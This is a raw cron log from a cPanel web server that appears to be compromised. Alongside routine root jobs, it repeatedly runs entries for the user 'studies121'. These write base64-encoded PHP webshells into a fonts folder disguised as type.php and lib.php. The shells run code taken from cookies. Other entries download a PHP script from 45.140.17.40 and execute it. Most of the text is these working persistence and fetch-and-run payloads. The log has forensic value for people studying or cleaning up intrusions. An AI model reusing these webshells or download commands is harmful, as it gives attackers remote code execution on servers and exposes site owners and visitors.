Sep 20 22:25:02 ip-184-168-122-23 CROND[18243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:25:02 ip-184-168-122-23 CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:25:02 ip-184-168-122-23 CROND[18247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:25:02 ip-184-168-122-23 CROND[18246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:25:02 ip-184-168-122-23 CROND[18250]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 20 22:25:02 ip-184-168-122-23 CROND[18251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:25:02 ip-184-168-122-23 CROND[18254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:26:01 ip-184-168-122-23 CROND[18336]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:26:01 ip-184-168-122-23 CROND[18340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:26:01 ip-184-168-122-23 CROND[18338]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:26:01 ip-184-168-122-23 CROND[18341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:26:01 ip-184-168-122-23 CROND[18339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:27:01 ip-184-168-122-23 CROND[18517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:27:01 ip-184-168-122-23 CROND[18519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:27:01 ip-184-168-122-23 CROND[18520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:27:01 ip-184-168-122-23 CROND[18521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:28:01 ip-184-168-122-23 CROND[18603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:28:01 ip-184-168-122-23 CROND[18606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:28:01 ip-184-168-122-23 CROND[18608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:28:01 ip-184-168-122-23 CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:28:01 ip-184-168-122-23 CROND[18607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:29:01 ip-184-168-122-23 CROND[18699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:29:01 ip-184-168-122-23 CROND[18697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:29:01 ip-184-168-122-23 CROND[18696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:29:01 ip-184-168-122-23 CROND[18698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18808]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18811]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18813]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:30:01 ip-184-168-122-23 CROND[18816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:30:01 ip-184-168-122-23 CROND[18819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:30:01 ip-184-168-122-23 CROND[18820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:31:01 ip-184-168-122-23 CROND[18936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:31:01 ip-184-168-122-23 CROND[18938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:31:01 ip-184-168-122-23 CROND[18940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:31:01 ip-184-168-122-23 CROND[18941]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 22:31:01 ip-184-168-122-23 CROND[18939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:32:01 ip-184-168-122-23 CROND[19117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:32:01 ip-184-168-122-23 CROND[19122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:32:01 ip-184-168-122-23 CROND[19119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:32:01 ip-184-168-122-23 CROND[19120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:32:01 ip-184-168-122-23 CROND[19121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:33:01 ip-184-168-122-23 CROND[19200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:33:02 ip-184-168-122-23 CROND[19201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:33:02 ip-184-168-122-23 CROND[19202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:33:02 ip-184-168-122-23 CROND[19204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:34:01 ip-184-168-122-23 CROND[19282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:34:01 ip-184-168-122-23 CROND[19285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:34:01 ip-184-168-122-23 CROND[19284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:34:01 ip-184-168-122-23 CROND[19286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:34:01 ip-184-168-122-23 CROND[19287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19385]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19390]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19387]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19388]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:35:01 ip-184-168-122-23 CROND[19389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:35:01 ip-184-168-122-23 CROND[19386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:36:01 ip-184-168-122-23 CROND[19487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 22:36:01 ip-184-168-122-23 CROND[19488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 22:36:01 ip-184-168-122-23 CROND[19491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 22:36:01 ip-184-168-122-23 CROND[19492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 22:36:01 ip-184-168-122-23 CROND[19493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 22:37:01 ip-184-168-122-23 CROND[19575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
